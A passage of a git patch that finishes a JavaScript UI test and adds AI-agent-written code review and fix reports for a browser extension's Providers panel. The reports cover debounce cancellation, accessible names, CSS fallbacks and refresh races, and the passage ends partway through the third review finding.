pendingDebounce.modelDiscoveryStatus.textContent = 'Debounce latent status'; + pendingDebounce.modelDiscoveryStatus.hidden = false; + pendingDebounce.context.FSBDiscoveryUI.scheduleDiscoveryFromKeyChange('xai'); + assert.strictEqual(pendingDebounce.scheduledTimeoutDelays.includes(500), true, + 'API-key discovery is pending inside the production debounce window'); + pendingDebounce.context.setProviderSelection('agent', 'codex'); + pendingDebounce.advanceTimersBy(500); + await Promise.resolve(); + assert.strictEqual(debouncedDiscoveryCalls, 0, + 'agent selection cancels a pending API-key discovery before it starts'); + assert.strictEqual(debouncedCacheClears, 0, + 'cancelled API-key debounce performs no late cache clear'); + assert.strictEqual(pendingDebounce.modelName.value, 'debounce-latent-model', + 'cancelled API-key debounce preserves the latent API model'); + assert.strictEqual(pendingDebounce.modelDiscoveryStatus.textContent, 'Debounce latent status', + 'cancelled API-key debounce preserves the latent API status'); } function visibleRecommendationIds(harness) { From 4e6a6af70eb7f4ddbfcfe92af22ce23233c51811 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 18:05:06 -0500 Subject: [PATCH 073/581] docs(58): add code review fix report --- .../58-providers-panel/58-REVIEW-FIX.iter2.md | 81 ++++++++++++++++++ .../58-providers-panel/58-REVIEW-FIX.iter3.md | 60 ++++++++++++++ .../58-providers-panel/58-REVIEW-FIX.md | 81 ++++++++++++++++++ .../58-providers-panel/58-REVIEW.iter2.md | 83 +++++++++++++++++++ .../58-providers-panel/58-REVIEW.iter3.md | 75 +++++++++++++++++ .../phases/58-providers-panel/58-REVIEW.md | 77 +++++++---------- 6 files changed, 410 insertions(+), 47 deletions(-) create mode 100644 .planning/phases/58-providers-panel/58-REVIEW-FIX.iter2.md create mode 100644 .planning/phases/58-providers-panel/58-REVIEW-FIX.iter3.md create mode 100644 .planning/phases/58-providers-panel/58-REVIEW-FIX.md create mode 100644 .planning/phases/58-providers-panel/58-REVIEW.iter2.md create mode 100644 .planning/phases/58-providers-panel/58-REVIEW.iter3.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW-FIX.iter2.md b/.planning/phases/58-providers-panel/58-REVIEW-FIX.iter2.md new file mode 100644 index 000000000..0887265c9 --- /dev/null +++ b/.planning/phases/58-providers-panel/58-REVIEW-FIX.iter2.md @@ -0,0 +1,81 @@ +--- +phase: 58-providers-panel +fixed_at: 2026-07-12T22:16:46Z +review_path: .planning/phases/58-providers-panel/58-REVIEW.md +iteration: 1 +findings_in_scope: 5 +fixed: 5 +skipped: 0 +status: all_fixed +--- + +# Phase 58: Code Review Fix Report + +**Fixed at:** 2026-07-12T22:16:46Z +**Source review:** `.planning/phases/58-providers-panel/58-REVIEW.md` +**Iteration:** 1 + +**Summary:** +- Findings in scope: 5 +- Fixed: 5 +- Skipped: 0 + +## Fixed Issues + +### WR-01: The no-agent empty state is based on record presence, not a successful negative detection + +**Files modified:** `extension/ui/options.js`, `tests/providers-panel-ui.test.js` +**Commit:** `016278a6` +**Result:** fixed: requires human verification +**Applied fix:** The empty state now appears only for a ready snapshot with no semantic supported-agent evidence. `installed.detected: false` is negative evidence, while clicked, installed-true, connected, or live evidence suppresses the absence claim. Loading, unavailable, and stale states keep the claim hidden. + +### WR-02: The initial fallback recommendation is not rendered before an unbounded runtime request + +**Files modified:** `extension/ui/options.js`, `tests/providers-panel-ui.test.js` +**Commit:** `c82059a3` +**Result:** fixed: requires human verification +**Applied fix:** Recommendation rendering now happens before the runtime request. The request has a guarded five-second timeout with callback/timeout settlement deduplication and timer cleanup. Deterministic short-timeout tests cover initial unavailable and prior-success stale recovery, including Refresh, selection, and exactly-one-badge invariants. + +### WR-03: Visible status badges become part of each radio's accessible name + +**Files modified:** `extension/ui/control_panel.html`, `tests/providers-panel-ui.test.js` +**Commit:** `a0169383` +**Result:** fixed +**Applied fix:** Every provider name has a stable id, every radio uses that name through `aria-labelledby`, and changing recommendation/evidence badges are `aria-hidden`. Static accessible-name coverage proves each radio name is exactly its provider display name. + +### WR-04: The delayed load callback can run the API path after the user has selected an agent + +**Files modified:** `extension/ui/options.js`, `tests/providers-panel-ui.test.js` +**Commit:** `b1f72090` +**Result:** fixed: requires human verification +**Applied fix:** Saved-model loading now uses a cancellable timer and load generation. The callback also rechecks the active kind and API provider before applying model state or testing the connection. A held-timer regression proves switching to an agent prevents both model overwrite and API connection work. + +### WR-05: `:has()` causes selected-row styling to disappear on declared supported Chrome versions + +**Files modified:** `extension/ui/options.css`, `tests/providers-panel-ui.test.js` +**Commit:** `f5cc9cd1` +**Result:** fixed +**Applied fix:** `.provider-row.is-selected` and dark-mode selected styling are standalone Chrome 88 baseline rules, row focus uses compatible `:focus-within`, and `:has()` appears only inside `@supports` enhancement blocks. Source-contract tests pin that structure. + +## Verification + +- `node -c extension/ui/options.js` and `node -c tests/providers-panel-ui.test.js`: passed where applicable. +- `node tests/providers-panel-logic.test.js`: passed after every source fix. +- `node tests/providers-panel-ui.test.js`: passed after every source fix. +- `node tests/model-discovery.test.js`: 79 passed, 0 failed after every source fix. +- `node tests/model-discovery-ui.test.js`: passed after every source fix. +- `node tests/model-combobox-ui.test.js`: 30 passed, 0 failed after every source fix. +- `node tests/lattice-provider-bridge-smoke.test.js`: 110 passed, 0 failed after every source fix. +- `npm test`: passed after each of the five fixes. The existing archived Phase 39 manifest was temporarily symlinked at its legacy test path for each run and removed afterward; no fixture link remains. +- `git diff --check` on each finding's files: passed. + +## Skipped Issues + +None. + +--- + +_Fixed: 2026-07-12T22:16:46Z_ +_Fixer: the agent (gsd-code-fixer)_ +_Iteration: 1_ + diff --git a/.planning/phases/58-providers-panel/58-REVIEW-FIX.iter3.md b/.planning/phases/58-providers-panel/58-REVIEW-FIX.iter3.md new file mode 100644 index 000000000..017195498 --- /dev/null +++ b/.planning/phases/58-providers-panel/58-REVIEW-FIX.iter3.md @@ -0,0 +1,60 @@ +--- +phase: 58-providers-panel +fixed_at: 2026-07-12T22:29:58Z +review_path: .planning/phases/58-providers-panel/58-REVIEW.md +iteration: 2 +findings_in_scope: 2 +fixed: 2 +skipped: 0 +status: all_fixed +--- + +# Phase 58: Code Review Fix Report + +**Fixed at:** 2026-07-12T22:29:58Z +**Source review:** `.planning/phases/58-providers-panel/58-REVIEW.md` +**Iteration:** 2 + +**Summary:** +- Findings in scope: 2 +- Fixed: 2 +- Skipped: 0 + +## Fixed Issues + +### WR-01: The base status selector overrides every semantic evidence color + +**Files modified:** `extension/ui/options.css`, `tests/providers-panel-ui.test.js` +**Commit:** `12a80db9` +**Result:** fixed +**Applied fix:** Removed the permanent `.provider-badge--status` class from the trailing neutral-color rule so connected, installed, seen, and error modifiers retain their semantic colors. A CSS source-contract regression now rejects the exact equal-specificity override pattern. + +### WR-02: Recommendation and evidence are no longer exposed as accessible descriptions + +**Files modified:** `extension/ui/control_panel.html`, `extension/ui/options.js`, `tests/providers-panel-ui.test.js` +**Commit:** `32e1508a` +**Result:** fixed: requires human verification +**Applied fix:** Added one stable visually hidden description per provider row, referenced by each radio through `aria-describedby`. The renderer updates those text-only descriptions from the visible recommendation and agent-evidence state while `aria-labelledby` remains provider-name-only and dynamic badges remain hidden from assistive technology. Runtime coverage pins recommended, connected, installed, seen-before, and unavailable descriptions. + +## Verification + +- `node -c extension/ui/options.js` and `node -c tests/providers-panel-ui.test.js`: passed. +- `git diff --check` on every touched source/test file: passed. +- `node tests/providers-panel-logic.test.js`: passed after each fix. +- `node tests/providers-panel-ui.test.js`: passed after each fix. +- `node tests/model-discovery.test.js`: 101 passed, 0 failed after each fix. +- `node tests/model-discovery-ui.test.js`: 79 passed, 0 failed after each fix. +- `node tests/model-combobox-ui.test.js`: 30 passed, 0 failed after each fix. +- `node tests/lattice-provider-bridge-smoke.test.js`: 110 passed, 0 failed after each fix. +- `npm test`: passed after each fix. No temporary Phase 39 fixture link was needed or left behind. + +## Skipped Issues + +None. + +--- + +_Fixed: 2026-07-12T22:29:58Z_ +_Fixer: the agent (gsd-code-fixer)_ +_Iteration: 2_ + diff --git a/.planning/phases/58-providers-panel/58-REVIEW-FIX.md b/.planning/phases/58-providers-panel/58-REVIEW-FIX.md new file mode 100644 index 000000000..c4a5baab1 --- /dev/null +++ b/.planning/phases/58-providers-panel/58-REVIEW-FIX.md @@ -0,0 +1,81 @@ +--- +phase: 58-providers-panel +fixed_at: 2026-07-12T23:03:54Z +review_path: .planning/phases/58-providers-panel/58-REVIEW.md +iteration: 3 +findings_in_scope: 5 +fixed: 5 +skipped: 0 +status: all_fixed +--- + +# Phase 58: Code Review Fix Report + +**Fixed at:** 2026-07-12T23:03:54Z +**Source review:** `.planning/phases/58-providers-panel/58-REVIEW.md` +**Iteration:** 3 + +**Summary:** +- Findings in scope: 5 +- Fixed: 5 +- Skipped: 0 + +## Fixed Issues + +### WR-01: Raw allowlisted-id rows can become canonical recommendations and status + +**Files modified:** `extension/ui/providers-panel.js`, `extension/ui/options.js`, `tests/providers-panel-logic.test.js`, `tests/providers-panel-ui.test.js` +**Commit:** `245b6e9d` +**Result:** fixed: requires human verification +**Applied fix:** Added one canonical supported-row predicate that rejects `raw: true` before recommendation and status evaluation. The empty-state path now derives evidence from the same safe status contract. Logic and VM coverage exercise raw collisions under every allowlisted agent id, including fallback recommendation, neutral canonical status, confirmed empty state, and inert rendering under Other MCP clients. + +### WR-02: In-flight API discovery can mutate latent settings after switching to an agent + +**Files modified:** `extension/ui/options.js`, `tests/providers-panel-ui.test.js` +**Commits:** `c8f6d040`, `a0ba3e62` +**Result:** fixed: requires human verification +**Applied fix:** Added a monotonic discovery generation owned by `FSBDiscoveryUI`, invalidated whenever provider kind/id changes. Cache hydration and model discovery now re-check the generation after every asynchronous boundary before any model, status, or control renderer runs. Cancellation restores the pre-loading model, status, and control snapshot when the user selects an agent. Held success, auth-failure, and persistent-cache hydration tests prove agent selection itself preserves latent API UI state and the later settlement performs no connection work or UI mutation. + +### WR-03: Storage evidence changes can be dropped during an in-flight refresh + +**Files modified:** `extension/ui/options.js`, `tests/providers-panel-ui.test.js` +**Commit:** `50e1d394` +**Result:** fixed: requires human verification +**Applied fix:** Storage invalidations now set one queued-refresh flag when an evidence request is active. The flag launches exactly one follow-up after settlement, while direct concurrent callers still coalesce on the current promise. A held-runtime regression emits both local and session invalidations, asserts exactly two calls, and proves the second snapshot remains the final view. + +### IN-01: Providers detail card is missing its explicit closing `div` + +**Files modified:** `extension/ui/control_panel.html`, `tests/providers-panel-ui.test.js` +**Commit:** `46bdfe43` +**Result:** fixed +**Applied fix:** Added the missing explicit closing `div` between the detail form section and the Providers section end. A scoped stack-based HTML parser assertion now validates balanced nesting for the full `#providers` fragment and pins the card close before `

`. + +### Follow-up WR-01: Pending API-key discovery debounce survives agent selection + +**Files modified:** `extension/ui/options.js`, `tests/providers-panel-ui.test.js` +**Commit:** `403a1047` +**Result:** fixed +**Applied fix:** Provider invalidation now clears and nulls every per-provider discovery debounce timer. The timer callback also fails closed unless the panel is still in API mode with the same active API provider. A held 500 ms regression proves switching to an agent causes no discovery call, cache clear, or latent API model/status mutation. + +## Verification + +- `node -c extension/ui/providers-panel.js`, `node -c extension/ui/options.js`, and syntax checks for both provider test files: passed at each applicable fix gate. +- `git diff --check` on every touched source/test set and on the final workspace diff: passed. +- `node tests/providers-panel-logic.test.js`: passed after each fix. +- `node tests/providers-panel-ui.test.js`: passed after each fix, including raw collisions, held discovery outcomes, queued storage refresh, and scoped HTML balance. +- `node tests/model-discovery.test.js`: 101 passed, 0 failed after each fix. +- `node tests/model-discovery-ui.test.js`: 79 passed, 0 failed after each fix. +- `node tests/model-combobox-ui.test.js`: 30 passed, 0 failed after each fix. +- `node tests/lattice-provider-bridge-smoke.test.js`: 110 passed, 0 failed after each fix. +- `npm test`: passed at every extension-touching fix gate, including the final discovery snapshot-restoration hardening. The archived Phase 39 manifest was temporarily symlinked at its legacy test path for each successful full-suite run and removed afterward; no fixture link remains. +- Final targeted re-review after `403a1047`: clean, 0 critical / 0 warning / 0 info findings. + +## Skipped Issues + +None. + +--- + +_Fixed: 2026-07-12T23:03:54Z_ +_Fixer: the agent (gsd-code-fixer)_ +_Iteration: 3_ diff --git a/.planning/phases/58-providers-panel/58-REVIEW.iter2.md b/.planning/phases/58-providers-panel/58-REVIEW.iter2.md new file mode 100644 index 000000000..ccd548823 --- /dev/null +++ b/.planning/phases/58-providers-panel/58-REVIEW.iter2.md @@ -0,0 +1,83 @@ +--- +phase: 58-providers-panel +reviewed: 2026-07-12T22:01:41Z +depth: standard +files_reviewed: 8 +files_reviewed_list: + - extension/ui/control_panel.html + - extension/ui/options.css + - extension/ui/options.js + - extension/ui/providers-panel.js + - package.json + - tests/lattice-provider-bridge-smoke.test.js + - tests/providers-panel-logic.test.js + - tests/providers-panel-ui.test.js +findings: + critical: 0 + warning: 5 + info: 0 + total: 5 +status: issues_found +--- + +# Phase 58: Code Review Report + +**Reviewed:** 2026-07-12T22:01:41Z +**Depth:** standard +**Files Reviewed:** 8 +**Status:** issues_found + +## Summary + +The Phase 58 implementation preserves the API/agent storage boundary, uses closed provider definitions, safely renders untrusted MCP client names as text, and keeps recommendation rendering separate from selection persistence. The focused logic and UI suites pass, syntax checks pass, and the reviewed diff is whitespace-clean. + +Five warning-level correctness and accessibility gaps remain. The most visible are that the no-agent empty state cannot truthfully represent a normal negative inventory sweep, and the initial recommendation can remain absent with Refresh permanently loading if the runtime request never settles. The remaining findings cover dynamic radio accessible names, a load-time provider-kind race, and compatibility with the project's declared Chrome 88 floor. + +## Warnings + +### WR-01: The no-agent empty state is based on record presence, not a successful negative detection + +**File:** `extension/ui/options.js:475-480,563-565` + +**Issue:** `hasSupportedAgentEvidence()` treats any object under `installed` as evidence, including `{ detected: false, ... }`, and `renderProviderEvidence()` shows the empty state whenever that broad predicate is false regardless of `evidenceStatus`. Phase 57's inventory sweep emits an installed record for every platform, including negative records, so a normal sweep where Claude Code, OpenCode, and Codex are all absent hides **No agent CLI detected**. Conversely, the empty state is shown while the first request is still loading and after an unavailable response, when absence has not been established. This makes the exact empty-state claim unreliable in both directions. + +**Fix:** Gate the empty state on a successful current snapshot (`evidenceStatus === 'ready'`) and compute current detection from semantic evidence, for example `live` or `installed.detected === true`. Decide explicitly whether historical/clicked-only evidence suppresses the empty state, then encode that decision separately from the detected predicate. Add VM cases for three `installed.detected === false` rows, initial loading, unavailable, and stale states. + +### WR-02: The initial fallback recommendation is not rendered before an unbounded runtime request + +**File:** `extension/ui/options.js:403-431,658-667,692-697` + +**Issue:** Every recommendation badge starts hidden, and `refreshProviderEvidence()` does not call `renderProviderRecommendation()` until the request settles in `finally`. `requestMcpClients()` has no timeout. If the background listener keeps the message channel open but its inventory read hangs, the Providers panel has zero visible recommendation badges indefinitely, the Refresh button remains disabled with `aria-busy="true"`, and all later refresh triggers coalesce onto the never-settling promise. This violates the pending-state fallback and exactly-one-recommendation contracts and creates a persistent UI denial of service. + +**Fix:** Render the existing deterministic fallback (or last successful recommendation) before starting the request, and bound the runtime request with a timer that rejects into the existing stale/unavailable path. Clear the timer on callback settlement. Add a fake-timer test proving a held runtime response restores the button, produces stale/unavailable status, retains selection, and leaves exactly one badge visible. + +### WR-03: Visible status badges become part of each radio's accessible name + +**File:** `extension/ui/control_panel.html:168-196,204-273` + +**Issue:** The provider name, Recommended badge, and evidence badge all live inside the radio's associated `